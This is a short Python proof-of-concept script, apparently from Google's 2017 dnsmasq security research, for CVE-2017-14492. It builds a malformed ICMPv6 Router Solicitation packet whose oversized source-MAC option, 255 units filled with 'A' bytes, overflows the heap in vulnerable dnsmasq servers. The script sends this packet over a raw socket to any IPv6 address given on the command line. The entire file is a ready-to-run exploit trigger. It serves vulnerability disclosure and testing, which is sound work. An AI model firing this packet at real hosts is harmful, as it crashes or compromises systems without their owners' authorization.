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CVE-2017-14492.py
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CVE-2017-14492.py
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#!/usr/bin/env python
#
# Copyright 2017 Google Inc
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# Authors:
# Fermin J. Serna <[email protected]>
# Felix Wilhelm <[email protected]>
# Gabriel Campana <[email protected]>
# Kevin Hamacher <[email protected]>
# Gynvael Coldwind <[email protected]>
# Ron Bowes - Xoogler :/
from struct import pack
import socket
import sys
ND_ROUTER_SOLICIT = 133
ICMP6_OPT_SOURCE_MAC = 1
def u8(x):
return pack("B", x)
def send_packet(data, host):
print("[+] sending {} bytes to {}".format(len(data), host))
s = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_ICMPV6)
s.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, len(data))
if s.sendto(data, (host, 0)) != len(data):
print("[!] Could not send (full) payload")
s.close()
if __name__ == '__main__':
assert len(sys.argv) == 2, "Run via {} <IPv6>".format(sys.argv[0])
host, = sys.argv[1:]
pkg = b"".join([
u8(ND_ROUTER_SOLICIT), # type
u8(0), # code
b"X" * 2, # checksum
b"\x00" * 4, # reserved
u8(ICMP6_OPT_SOURCE_MAC), # hey there, have our mac
u8(255), # Have 255 MACs!
b"A" * 255 * 8,
])
send_packet(pkg, host)